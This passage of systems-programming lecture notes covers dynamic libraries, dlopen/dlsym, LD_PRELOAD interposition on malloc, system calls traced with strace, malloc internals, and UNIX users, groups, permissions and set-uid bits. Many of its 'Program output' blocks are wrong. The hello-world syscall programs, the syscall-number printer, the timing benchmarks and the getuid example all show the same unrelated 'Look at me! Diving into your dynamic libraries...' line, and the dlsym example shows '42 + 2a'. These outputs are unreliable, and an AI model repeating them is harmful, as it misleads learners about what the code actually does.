is 7.2 MiB)libmozjs.so is 11 MiB, and webkit’s
libjavascriptcoregtk.so is 26 MiB)If
programs must load in multiple libraries (totaling, say,
MiB), then
MiB is consumed. For context, my system is currently running
269 programs (ps aux | wc -l), so this memory
can add up!
Dynamic libraries enable us to do a lot better. The contents memory for the library is the same regardless the process it is present in, and an Operating System has a neat trick: it can make the same memory appear in multiple processes if it is identical and cannot be modified25. As such, dynamic libraries typically only require memory for each library once in the system (only ), as opposed for each process.
When a program is linked with a static library, the result is relatively small as only the objects in the library that are necessary are linked into the program. When executed as a process, the memory consumed will only include the necessary objects of the library. In contrast, a program that uses a dynamic library links in the entire library at runtime into a process. Thus, for a single process, a static library approach is almost always going to be more memory-efficient.
However, in a system with many executing processes, the per-library memory, rather than per-process memory, will result in significantly less memory consumption. Requiring only a single copy of a larger dynamic library shared between all processes, uses less memory than multiple copies of smaller compilations of the library in each program.
Lets dive a little deeper into how software is structured on our system, and the trade-offs that different libraries make in the system.
Lets investigate the libexample from the
figures in last week’s lectures. See the 08/libexample/
directory for examples of using normal linking
(make naive), static library linking
(make static), and dynamic library linking
(make dynamic). The source includes:
prog and prog2 that are
programs that use libraries.example.c is a single file that creates the
first library which generates libexample.a and
libexample.so.example2.c and example2b.c are
the files that create the second library which generates
libexample2.a and
libexample2.so.Each of the library objects uses around 750KB of
memory. To help you set the LD_LIBRARY_PATH to
execute the dynamic libraries, you can run the dynamic
library examples using
$ ./run_dyn.sh ./prog_dynamic
nm and ldd to understand
which libraries and object files within those libraries each
of the programs require.ls -lh to see the size of each of the
resulting executable programs. Explain the differences in
sizes.libc), and static libraries for the rest.
Why?We saw how libraries enable the sharing of functionality
between programs. Static libraries are convenient, and only
required objects are linked with your program at compile
time. In contrast, dynamic libraries are linked at runtime
before the main of your program
executes.
In addition to enabling shared library code, dynamic libraries also enable explicit means to load libraries programmatically. Namely, UNIX provdes an API that enables your process to load a dynamic library into itself. This is kinda crazy: a running process with a set of code and data can add a library with more code and data into itself dynamically. This effectively means that your program can change its own code as it executes by adding and removing dynamic libraries. Being able to load library code into your process as your program executes (at runtime) is an instance of self-modifying code, and it enables a few very cool features including:
ffmpeg) enable different formats to be
handled with separate dynamic libraries, thus enabling the
processing of any image or video by simply loading a new
library, andpython,
dynamically load libraries (many or most are written in C)
into a process when the python code imports
them. Since the imports are part of the code,
the corresponding dynamic libraries must be loaded by the
python runtime dynamically. This enables your dynamic (slow)
python code to load and leverage fast C libraries.This API is provided by the linker (ld.so)
that loaded the elf object for the currently executing
process. What does the API that enables this dynamic loading
look like?
handle = dlopen(file_path, flags) - Open
and load in a dynamic library. This returns a handle to the
library that you should pass into the latter functions. You
can read about the flags in
man dlopen. Unless otherwise noted, I’d
recommend using RTLD_NOW | RTLD_LOCAL26. Returns
NULL if it cannot find the dynamic
library.dlclose(handle) - Close and unload a
library that was previously loaded.symb_ptr = dlsym(handle, symbol) - pass in
a symbol which is a string holding a function
or variable name in the dynamic library. It should return a
pointer to that symbol, which you can then call (if it is a
function pointer), or dereference if it is a variable.#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int
main(void)
{
void *handle;
typedef int *(*bar_fn_t)(int a);
bar_fn_t bar;
int *ret;
/* Open a dynamic library: the example is in ../08/libexample/ */
handle = dlopen("08/libexample/libexample.so", RTLD_NOW | RTLD_LOCAL);
if (!handle) return EXIT_FAILURE;
/*
* Lets find the function "bar" in that dynamic library.
* We know that `bar` is the function: int *bar(int a)
*/
bar = dlsym(handle, "bar");
if (!bar) return EXIT_FAILURE;
/* bar allocates an int, populates it with the argument + 2 and returns it */
ret = bar(40);
printf("%d\n", *ret);
free(ret);
return 0;
}
Program output:
42 + 2a
As dlsym returns a pointer to the symbol
passed in (as a string), it means that you end up seeing a
lot of function pointers when you’re using plugin
infrastructures. See (a) in the image below.
We can also use dlsym to ask for a symbol in
any of the installed libraries. To do so, we pass
in the “special pseudo-handles” RTLD_DEFAULT or
RTLD_NEXT.
#define _GNU_SOURCE /* added this due to `man 3 dlsym` */
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <unistd.h>
int
main(void)
{
typedef int (*write_fn_t)(int fd, char *buf, size_t s);
write_fn_t w;
char *buf = "Look at me! Diving into your dynamic libraries...pulling out the symbols\n";
/* Now lets find `write`! */
w = dlsym(RTLD_DEFAULT, "write");
if (!w) return EXIT_FAILURE;
w(STDOUT_FILENO, buf, strlen(buf));
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
Though this example doesn’t have much of a point, as we
can directly call write, thus have to go
through the symbol we retrieved from dlsym, See
(b) in the image below.
One powerful mechanism that dynamic libraries enable is
to interpose on library function calls. Your
program might believe that it calls malloc when
it invokes the function “malloc”, but you can orchestrate it
so that it instead calls a malloc in your
library! You can then, if you choose, invoke the normal
library calls, thus why this is known as
interposing on the library calls. But how?
The environment variable LD_PRELOAD can be
used to specify a dynamic library to load into the process
to interpose on any library calls. A trivial use of
this might be to log (i.e. write out to a file) all
of a set of library calls. We’ll use it to add intelligence
on the memory allocation paths.
When we use LD_PRELOAD=lib, the symbols in
the dynamic library that we specify in lib have
priority over those of other libraries. Thus, if we include
a malloc function definition, when the
application calls malloc, it will call
our malloc! In the image above, (c) demonstrates
using LD_PRELOAD.
In malloclog,
we can see a library that interposes on malloc
and free, and prints information to standard
error. This includes the following:
typedef void *(*malloc_fn_t)(size_t s);
static malloc_fn_t malloc_fn;
/* This `malloc` will override libc's `malloc` */
void *
malloc(size_t sz)
{
void *mem;
/* if we don't yet know where libc's malloc is, look it up! */
if (malloc_fn == NULL) {
/*
* Lets find the `malloc` function in libc! The `RTLD_NEXT`s
* specify that we don't want to find our *own* `malloc`, we'd like to
* search starting with the *next* library.
*/
malloc_fn = dlsym(RTLD_NEXT, "malloc");
assert(malloc_fn);
}
/* call libc's `malloc` here! */
mem = malloc_fn(sz);
fprintf(stderr, "malloc(%ld) -> %p\n", sz, mem);
return mem;
}
We do the same for free, and should do the
same also for calloc and other memory
allocation functions.
Question: Why can’t we just call
malloc directly instead of doing this complex
thing with dlsym?
We can use it on a simple program that simply calls
malloc and free on the allocated
memory. To test this out, in malloclog:
$ make
$ LD_PRELOAD=./libmalloclog.so ./main.bin
malloc(4) -> 0x55fe6cd492a0
free(0x55fe6cd492a0)
...
This shows us that dynamic libraries are
programmable and that we can use them in
interesting ways to coordinate between libraries, provide
new functionalities, and to interpose on functionalities.
For example, many of the largest companies use
LD_PRELOAD to swap out the malloc
implementation for one that is higher performance.
Questions:
valgrind
functionality using the ability to interpose on library
functions?Note that running a program that uses
LD_PRELOAD environment variables are more
difficult to use in gdb. The ldpreload_w_gdb.sh
script demonstrates how to use both technologies
together.
We’ve talked about the many resources that are provided by the system. These include files, pipes, and domain sockets. But we’ve been vague about what the system is. Though we’ll leave the details for a later course, lets dive in to what constitutes the “system” a little bit.
We’ve claimed many times that the system provides pipes, domain sockets, files, the file system, etc… What is “the system”? First, lets start from what we know: is this system just a dynamic library? To some extent this makes sense.
Question:
read, open, etc… all be
simply provided solely by dynamic libraries?A few observations:
pipes, involve
multiple processes, thus there must be something in the
system beyond specific processes.The system, as we’ve discussed it so far, is
called the kernel. One of the main components of
every operating system is the kernel. Every process in the
system uses the kernel’s functionality. It provides the
logic for most of the calls we’ve learned in the
class, fork, exec,
pipe, read, write,
open, creat, etc… and also most of
the resources we’ve discussed including channels, domain
sockets, pipes, files, and the filesystem. It is some of the
most trusted code on the system. If it has a bug, the whole
system can crash – or worse!
We have to be able to call functions in the kernel from any process. This means we want to make what seem like function calls to the kernel. And we want to make sure that the faults of one process don’t spread to another! This means that somehow the kernel must be isolated from each process.
System calls are the mechanism that behaves like a function call (and looks like one to us!), but that switches over to the kernel. System calls are a special instruction in the instruction set architecture (Intel x86 or ARM) that triggers the switch to the kernel. When the kernel’s done with its functionality, it can return (via a special instruction) to the process.
So system calls behave like function calls, but inherently involves switches from the process and to the kernel and back.
Question:
In UNIX, system calls are available in
unistd.h, so whenever you include that file to
use a function, you know the function is likely a direct
system call! You can also tell if a UNIX function is a
system call by looking at the sections of
man (from man man):
MANUAL SECTIONS
The standard sections of the manual include:
1 User Commands
2 System Calls
3 C Library Functions
4 Devices and Special Files
5 File Formats and Conventions
6 Games et. al.
7 Miscellanea
8 System Administration tools and Daemons
Questions:
Do man write. What is this documentation
for?
Do man 2 write. What is this
documentation for? What does the 2 mean?
You can always tell which section you’re looking at in
the header line of the man output:
WRITE(2) shows that we’re reading about
write in the “System Calls” section.
Is malloc a system call or a C Library
Function?
We know what a system call looks like, as we’ve used them many times throughout the class. Lets look at the various ways to make the same system call. First, the normal way:
#include <unistd.h>
int
main(void)
{
write(1, "hello world\n", 12);
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
The C standard library even provides you a “generic” way
to invoke any system call. The syscall
function lets you make an integer-identified system call.
Each system call on the system is identified with a unique
integer. In this case, we’ll use SYS_write.
#include <unistd.h>
#include <sys/syscall.h>
int
main(void)
{
syscall(SYS_write, 1, "hello world\n", 12);
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
Lets look at a few of these integer values to see what’s happening here:
#include <stdio.h>
#include <sys/syscall.h>
int
main(void)
{
printf("write: %d\nread: %d\nopen: %d\nclose: %d\n",
SYS_write, SYS_read, SYS_open, SYS_close);
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
Note, these integer values are not related to
descriptors (e.g. STDIN_FILENO == 0). The
system calls in Linux (and in all operating systems!) are
each assigned an integer with which to identify them. You
can see all of the system calls
and their integer numbers, and some documentation in man syscalls
(link).
Exercise:
OK, now lets do a little more of a deep-dive. You won’t be familiar with the Intel’s/AMD’s x86-64 assembly language that follows, but the comments on the right give you the jist.
.data ; Add some global variables - our "hello world" message
msg:
.ascii "hello world\n"
len = . - msg ; magic length computation "here" - start of `msg`
.text ; The code starts here!
.global _start
_start: ; Note: the %rxx values are registers, $x are constants
movq $1, %rax ; Syscall's integer value, 1 == write, now set up the arguments...
movq $1, %rdi ; Arg 1: file descriptor 1
movq $msg, %rsi ; Arg 2: the string!
movq $len, %rdx ; Arg 3: the length of the string
syscall ; Kick off the system call instruction!
movq $60, %rax ; System call #60 == exit
xorq %rdi, %rdi ; Arg 1: xor(x, x) == 0, pass NULL as argument!
syscall
We compile this assembly with make (in
10/). Program output:
hello world
We can see that the requirements of making a system call
are quite minimal! A special instruction (on x86-64,
syscall) provides the magical incantation to
make what feels like a function call to the
kernel.
How does this work? Recall that ELF, the file format for objects and programs includes many pieces of information necessary to execute the program. Among them, the starting or entry address which is the initial instruction to start executing when the program runs.
$ readelf -a ./asm_syscall | grep "Entry"
Entry point address: 0x401000
$ readelf -a ./asm_syscall | grep "401000"
Entry point address: 0x401000
...
6: 0000000000401000 0 NOTYPE GLOBAL DEFAULT 1 _start
We can see that the “entry point address” for the binary
is 0x401000, and we can see that the
_start symbol has that address. The
exec logic of the kernel will set the program
to start executing at that _start address.
Note that this same analysis rings true for the normal C
system call code above (not only for the assembly)! The
_start function is where all execution starts
in each program. This explains why our program above labels
its code with _start!
The strace program lets us monitor the
system calls a program makes. Running int on the assembly
program above:
$ strace ./asm_syscall
execve("./asm_syscall", ["./asm_syscall"], 0x7fff3c06ae10 /* 50 vars */) = 0
write(1, "hello world\n", 12hello world
) = 12
exit(0) = ?
+++ exited with 0 +++
This likely has what you’d expect: We see the
exec that kicks off the program, the
write, and, finally, the exit.
You’d likely expect the same from the normal C program that
also writes out hello world.
$ trace ./normal_syscall
execve("./normal_syscall", ["./normal_syscall"], 0x7ffc036c1520 /* 50 vars */) = 0
brk(NULL) = 0x5638ed59d000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd8bfb49c0) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=138102, ...}) = 0
mmap(NULL, 138102, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7efddf831000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360A\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\237\333t\347\262\27\320l\223\27*\202C\370T\177"..., 68, 880) = 68
fstat(3, {st_mode=S_IFREG|0755, st_size=2029560, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7efddf82f000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\237\333t\347\262\27\320l\223\27*\202C\370T\177"..., 68, 880) = 68
mmap(NULL, 2037344, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7efddf63d000
mmap(0x7efddf65f000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7efddf65f000
mmap(0x7efddf7d7000, 319488, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19a000) = 0x7efddf7d7000
mmap(0x7efddf825000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7efddf825000
mmap(0x7efddf82b000, 13920, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7efddf82b000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7efddf830540) = 0
mprotect(0x7efddf825000, 16384, PROT_READ) = 0
mprotect(0x5638eb775000, 4096, PROT_READ) = 0
mprotect(0x7efddf880000, 4096, PROT_READ) = 0
munmap(0x7efddf831000, 138102) = 0
write(1, "hello world\n", 12hello world
) = 12
exit_group(0) = ?
+++ exited with 0 +++
Whaaaaa!? If you look carefully, at the bottom we see the
expected output. But we also see a lot of system
calls previous to that. Between when we start execution at
_start, and when we execute in
main, quite a lot happens.
Question:
main?There are many reasons why some functionality might be in a library, and accessed via function calls, or in the kernel, and accessed with system calls.
Lets look at an example of memory allocation. We can, of
course, use malloc and free to
allocate and free memory. But we can also call
mmap and munmap that make
system calls to allocate and free memory.
Questions:
malloc/free or
mmap/munmap?#include "10/timer.h"
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <stdlib.h>
#define ITER 256
int
main(void)
{
int i;
unsigned long long start, end;
int *mem;
/* How many cycles does `write` take? */
start = cycles();
for (i = 0; i < ITER; i++) {
mem = malloc(256);
mem[0] = 42;
free(mem);
}
end = cycles();
printf("\nmalloc + free overhead (cycles): %lld\n", (end - start) / ITER);
/* How many cycles does `fwrite` take? */
start = cycles();
for (i = 0; i < ITER; i++) {
mem = mmap(NULL, 256, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
mem[0] = 42;
munmap(mem, 256);
}
end = cycles();
printf("\nmmap + munmap overhead (cycles): %lld\n", (end - start) / ITER);
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
What is a “cycle”? When you read that you have a 3GHz, that essentially says that the internal “clock” that drives the logic in the processor cycles by at 3 billion cycles per second. That’s a lot. Each cycle is 1/3 a nanosecond. A cycle is the smallest unit of measurement on a processor, and the
cyclesfunction we implement here gives us how many cycles have elapsed since the system boots.
We can also look at the output APIs like
write and compare them to the stream APIs that
buffer their output.
Questions:
write or
to a stream (via a FILE) using
fwrite, what performance would you expect?fflush after the
fwrite?#include "10/timer.h"
#include <unistd.h>
#include <stdio.h>
#define ITER 256
int
main(void)
{
int i;
unsigned long long start, end;
/* How many cycles does `write` take? */
start = cycles();
for (i = 0; i < ITER; i++) write(1, " ", 1);
end = cycles();
printf("\nwrite overhead (cycles): %lld\n", (end - start) / ITER);
/* How many cycles does `fwrite` take? */
start = cycles();
for (i = 0; i < ITER; i++) fwrite(" ", 1, 1, stdout);
end = cycles();
printf("\nfwrite (stream) overhead (cycles): %lld\n", (end - start) / ITER);
/* How many cycles does `fwrite + fflush` take? */
start = cycles();
for (i = 0; i < ITER; i++) {
fwrite(" ", 1, 1, stdout);
fflush(stdout);
}
end = cycles();
printf("\nfwrite + fflush overhead (cycles): %lld\n", (end - start) / ITER);
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
We’ve seen that
fork,
exec) and inter-process interactions
(wait, pipe, etc…) as these
functionalities require implementation beyond any single
process,This leads us to the conclusion that for performance,
we’d like to implement as many functions as possible in
libraries, and to rely on the kernel when processes require
modifications (exec, fork), when
there are multiple processes involved (IPC), or when the
finite resources of the system must be split up between
processes (open, creat,
sbrk).
Here, we’re going to dive into the design of the
memory management functionalities in UNIX to better
understand the trade-offs. Specifically, how does
malloc and free work!?
So malloc, calloc,
realloc, and free are implemented
in a library (in libc), and when we request
memory from them, they might call sbrk (or
mmap on some systems) to get memory from the
kernel, but from that point on, they will manage that memory
themselves. What does this mean? When the heap
doesn’t have enough free memory to satisfy a
malloc request, we call the kernel to
expand the heap. To do so, we ask the kernel for
memory via sbrk or mmap, and we
generally get a large chunk of memory. For example, we might
ask sbrk for 64KB of memory with
mem = sbrk(1 << 16)27. Then it is
malloc’s job to split up that memory into the
smaller chunks that we’ll return in each subsequent call to
malloc. When memory is freed, it
is returned to the pool of memory which we’ll consider for
future allocations. Because we’re reusing freed
memory, we’re avoiding system calls when the heap contains
enough freed memory to satisfy a request.
This is what it means that our
malloc/free code in the
libc library need to track the memory in the
heap. We need to track where allocated memory is
located and where freed spans of memory are
located, to enable intelligent allocation decisions for
future malloc calls.
Questions:
The malloc and free
implementation must track which chunks of memory are
allocated, and which are freed, but it cannot use
malloc to allocate data-structures. That would
result in malloc calling itself recursively,
and infinitely! If malloc requires memory
allocation for its tracking data-structures, who tracks the
memory for the tracking data-structures? Yikes.
We solve this problem by allocating the tracking
data-structures along with the actual memory allocation
itself. That is to say, we allocate a header that
is a struct defined by malloc that is
directly before an actual memory allocation.
Because the header is part of the same contiguous memory
chunk, we allocate the header at the same time as we
allocate memory! When memory is freed, we use the header to
track the chunk of memory (the header plus the free memory
directly following the header) in a linked list of free
chunks of memory called a freelist.
malloc, we can find the free
chunk large enough for the allocation, remove it from the
freelist, …malloc request
that can’t be satisfied by the freelist, only then
do we make a system call to allocate more heap.smallocLook at the 10/smalloc.c
(link) file for a simple implementation of a
malloc/free that assumes only
allocations of a specific size. This means that we
don’t need to track the sizes of allocations and free chunks
in the headers, simplifying our implementation. Build, and
run the program:
$ make
$ ./smalloc.bin
It currently implements this simple malloc!
Read through the smalloc and sfree
functions, and the main. Answer
QUESTION 1-3. Then, move on to
QUESTION 4. In expand_heap, we
make the system call to allocate more memory from the system
with sbrk. We need to set up that newly
allocated heap memory to include memory chunks that we can
allocate with smalloc. Answering how this is
done is the core of QUESTION 4.
This material adapted from Prof. Aviv’s material.
We’ve seen how the filesystem is used to store and name files and channels, and we’ve seen the APIs to access directories and files. If everyone had access to every else’s files, then there would be no way to secure your information. Thus, the kernel provides means to control different user’s access to different files and directories. This means that I cannot access your files, and vice-versa!
To understand the core concept of access control in UNIX, we have to understand
The filesystem stores files and directories are somehow
associated with each of us, separately. Lets check out the
properties of a file that are returned by running
ls -l:
.- Directory?
| .-------Permissions .- Directory Name
| ___|___ .----- Owner |
v/ \ V ,---- Group V
drwxr-x--x 4 aviv scs 4096 Dec 17 15:14 im_a_directory
-rw------- 1 aviv scs 400 Dec 19 2013 .ssh/id_rsa.pub
^ \__________/ ^
File Size -------------' | '- File Name
in bytes |
|
Last Modified --------------'
An example from the class’ server where we create a file, a directory, and see the results:
$ echo hi > file.txt
$ mkdir hello
$ ls -l
-rw-r--r-- 1 gparmer dialout 3 Mar 18 12:19 file.txt
drwxr-xr-x 2 gparmer dialout 4096 Mar 18 12:20 hello
We see that each file and directory has a owner and group associated with it.
Question:
The owner of a file is the user that is directly responsible for the file and has special status with respect to the file permissions. Users can also be collected together into a set called a group, a collection of users who posses the same permissions. A file is associated with a group. A file’s or directory’s owners and groups have different permissions to access the file. Before we dive into that, lets understand how to understand users and groups.
You all are already aware of your username. You can get
your username with the whoami command:
$ whoami
gparmer
To have UNIX tell you your username and connection
information on this machine, use the command,
who:
$ who
gparmer pts/1 2022-03-18 12:12 (128.164...)
The first part of the output is the username. The rest of the information in the output refers to the terminal you’re using (it is a “pseudo-terminal device”, something that pretends it is a typewriter from the 60s), the time the terminal was created, and from which host you are connected.
You can determine which groups you are in using the groups command.
$ groups
dialout CS_Admins
On the class’ server, I’m in the dialout and
CS_Admins groups. On my work computer, I’m in a
few more groups:
$ groups
ycombinator adm cdrom sudo dip plugdev lpadmin sambashare
The good news is that I can use my cdrom.
Fantastic. It will pair well with my pseudo-typewriter.
Cool.
The permissions associated with each file/directory specify who should be able to have the following access:
r - the ability to read the file,
or read the contents of a directory.w - the ability to write to the
file, or update the contents of a directory.x - the ability to execute a file
(i.e. a program), or chdir into a
directory.We think about different users as having different sets
of these permissions to access files and directories. When
we see the permissions string for a file, we see three sets
of these rwx permissions:
-rw-r--r-- 1 gparmer dialout 3 Mar 18 12:19 file.txt
Here we have three sets of permissions rw-
(read and write), r-- (read only), and
r-- (read only). These three sets of
permissions each specify the access permissions for the
owner, the group, and everyone else’s
global permissions.
.-- Directory Bit
|
| ,--- Global Permission (i.e. "every else")
v / \
-rwxr-xr-x
\_/\_/
| `--Group Permission
|
`-- Owner Permission
Given this, now we can understand the permissions for each file in:
ls -l 11/perm_example/
total 0
-rw-r--r-- 1 gparmer gparmer 0 Mar 25 18:43 bar
-rw-rw-r-- 1 gparmer gparmer 0 Mar 25 18:43 baz
-rwx------ 1 gparmer gparmer 0 Mar 25 18:42 foo
Question:
Each permission has a numerical representation.
We represent it in octal, which is a fancy way to
say that we think of each digit of our numerical
representation as being between 0-7 – it is
“base 8” (in contrast to the normal digits numbers we use
every day that are “base 10”). Thus, each of the three sets
of permissions is 3 bits.
Each of the three permissions, r,
w, and x correspond to the
most-significant to the least significant bits in each octal
digit. For example:
rwx -> 1 1 1 -> 7
r-x -> 1 0 1 -> 5
--x -> 0 0 1 -> 1
rw- -> 1 1 0 -> 6
On the left we see a permission, its bit representation, and the associated octal digit. The shorthand, you can think of this is this:
r = 4 as it is represented with the most
significant bitw = 2 as the second bitx = 1 as it is the least significant
bitThus the octal digit is simply the addition of each of these numeric values for each access right. We can combine these digits to encapsulate permissions for the owner, group, and everyone else:
-rwxrwxrwx -> 111 111 111 -> 7 7 7
-rwxrw-rw- -> 111 110 110 -> 7 6 6
-rwxr-xr-x -> 111 101 101 -> 7 5 5
So now we know how to interpret, and understand these permission values, and how to represent them as digits.
To change a file permission, you use the
chmod command, or the chmod system
call. In each, we specify the file to update, and the new
permissions in octal. Lets play around with permission and
see their impact:
$ gcc helloworld.c -o helloworld.bin
$ ls -l helloworld.bin
-rwxrwxr-x 1 gparmer gparmer 41488 Mar 22 08:52 helloworld.bin
$ ./helloworld.bin
hello world!
I can execute the program, and I could read the program,
for example using nm. I could even overwrite
the file.
Note: on the server, the default permissions are more restrictive –
-rwxr-xr-x 1 gparmer dialout 16464 Mar 25 19:16 helloworld.bin. We don’t want anyone other than us writing to the file on a shared server!
What if I removed all permissions for everyone but the owner, and even removed my own ability to execute?
$ chmod 600 helloworld.bin
$ ls -l helloworld.bin
-rw------- 1 gparmer gparmer 41488 Mar 22 08:52 helloworld.bin
$ ./helloworld.bin
-bash: ./helloworld.bin: Permission denied
We removed our own ability to execute the file, so we no
longer can! Note that permission 6 is
4 + 2 which is r + w.
If I wanted on the system to be able to execute the
program:
$ chmod 711 helloworld.bin
$ ls -l helloworld.bin
-rwx--x--x 1 gparmer gparmer 41488 Mar 22 08:52 helloworld.bin
$ ./helloworld.bin
hello world!
Recall, 7 = 4 + 2 + 1 which is
r + w + x. We can see
that we’ve given everyone on the system execute permissions,
so the file is again about to execute! Any other user on the
system would also be able to execute the program.
Questions:
mkdir), and seeing what accesses cannot
be made if permissions are removed.chmod to concretely understand when you can
access each other’s files. Remember, you can find out where
your files are with pwd, what groups you’re in
with groups. Which files can another user can
access at that path with sufficient permissions? You can use
the /tmp/ directory to store files that you can
both mutually access, permissions allowing.We’ve seen that each file and directory is associated
with a user, and with a group. Which means that, of course,
we can change those settings! Two commands (and their
corresponding system call: chown):
chown <user> <file/directory> -
change owner of the file/directory to the userchgrp <group> <file/directory>
- change group of the file to the groupUNIX limits who is able to execute these operations.
root is
allowed to chown a file or directory.
root is special in that they are able to change
the permissions of any file/directory, and most of the most
sensitive files on the system are owned by root. For
example, the devices (think, hard-drives holding the
filesystem, monitors, and network devices) are only
accessible by root (check out
/dev/*).root) is allowed to change the group of a file,
and only to a group that user is in (recall
groups).We can see this:
$ chown root helloworld.bin
chown: changing ownership of 'helloworld.bin': Operation not permitted
Question:
We’ve seen that a lot of UNIX security centers around
users, groups, and the corresponding permissions associated
with files and directories. When a process is
forked, it inherits the user and group
of the parent process. Thus, when you’re typing at a shell,
the shell process is what really is executing as
your user id, and when you create programs, they inherit
your user id. These are the core of the security primitives,
so lets dive into a little more detail.
If every process has a user and group, we must be able to access them, right? There are two basic system calls for retrieving user and group information within a program.
uid_t getuid(void) - Returns the real user
id of the calling process.gid_t getgid(void) - Returns the real group
id of the calling process.Let’s look at an example program.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * argv[])
{
uid_t uid;
gid_t gid;
uid = getuid();
gid = getgid();
printf("uid=%d gid=%d\n", uid, gid);
return 0;
}
Program output:
Look at me! Diving into your dynamic libraries...pulling out the symbols
Every user has different identifiers as does each group. If another user where to run the same program, they’d get a different value.
Question:
chmod to make sure that they
can! What do you observe?whoami print out a human-readable
string? Use strace whoami to come up with
a strong guess.groups (investigate with
strace groups)?Interestingly, whomever executes the program will have their uid/gid printed out; it won’t use the uid/gid of the owner of the program. Remember, that we inherit the uid/gid on fork, thus when the shell runs the program, it uses our shell’s (thus our) uid/gid.
If the UNIX programmatic APIs provide access to user and
group identifiers (i.e. integers), how is it that
we can see strings corresponding to these numeric values?
The mapping of the identifiers to strings are defined in two
places. The first is a file called /etc/passwd
which manages all the users of the system. Here is the
/etc/passwd entry on my local system (the
server uses another means to store user info):
$ cat /etc/passwd | grep gparmer
gparmer:x:1000:1000:Gabe Parmer,,,:/home/ycombinator:/bin/bash
| | | | | | |
V | V | V V V
user | user id | human-readable id home directory shell to use upon login
V V
password group id
We can lookup our username and associate it with a
numerical user id, and a group id for that user. These
numbers are what the system uses to track users, but UNIX
nicely converts these numbers into names for our
convenience. The file additionally holds the path to the
user’s home directory, and their shell. These are used upon
the user logging in: the login logic will switch to the
user’s home directory, and execute their shell. The
password entry is deprecated. The translation
between userid and username is in the password file. The
translation between groupid and group name is in the group
file, /etc/group. Here is the entry for the
administrators on the class’ server:
$ grep CS_Admins /etc/group
CS_Admins:x:1004:aaviv,timwood,gparmer,...
There you can see that the users aaviv,
timwood, and gparmer are all in
the group of administrators.
All of this information, including identifiers, and
human-readable strings can be retrieved with
id.
$ id
uid=1000(gparmer) gid=1000(gparmer) groups=1000(gparmer),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
Question: Take a moment to explore these files and the commands. See what groups you are in.
Systems that support multiple users are quite complex. They have services used by many users, but that must be protected from the potentially accidental or malicious actions of users. These programs require more privileges than a user to do their job. A few examples:
ssh and
clients connecting to webservers. The logs are stored in
files (often in /var/log/), and users must
not be able to directly modify (and potentially
corrupt) the logs. But they must be able to append to the
logs. How can we support this contradiction when a logging
process will run with our user id when we execute it!?at and cron enable exactly this!
They require adding entries into system files
(e.g. crontab) to record the actions, but one
user must not corrupt the entires of another user. Again, we
want to both be able to add entries to the files, but cannot
modify the file!We already know one way to solve this problem. We can write a service, and have clients request (e.g. via IPC and domain sockets) it perform actions on our behalf. So long as a service runs as a different user, its files will be in accessible from clients.
However, there is another way to solve the above
contradictions. We really want a program to run with a
different user’s permissions – those that go beyond
our own. We want the logger to run with the
permissions of the logging user, and we want
cron to run with the permissions of the
cron service. This is possible with the
set-uid-bits (and set-gid-bits).
The set-*-bits can be seen in the
man chmod manual page. We’re used to
permissions being three digits (for the owner, the group,
and everyone else), but it can be specified as four
digits. The most significant digit can be set on executable
binaries, and will result in the binary executing with the
owner’s uid/gid.
That is, we previously assumed a permission string contained 3 octal digits, but really there are 4 octal digits. The missing octal digit is that for the set-bits. There are three possible set-bit settings and they are combined in the same way as other permissions:
4 - set-user-id: sets the
program’s effective user id to the owner of the program2 - set-group-id: sets the
program’s effective group id to the group of the
program1 - the sticky bit: which, when
set on a directory, prevents others from deleting files from
that directory. We won’t cover the stick bit.These bits are used in much the same way as the other permission modes. For example, we can change the permission of our get_uidgid program from before like so:
chmod 6751 get_uidgid
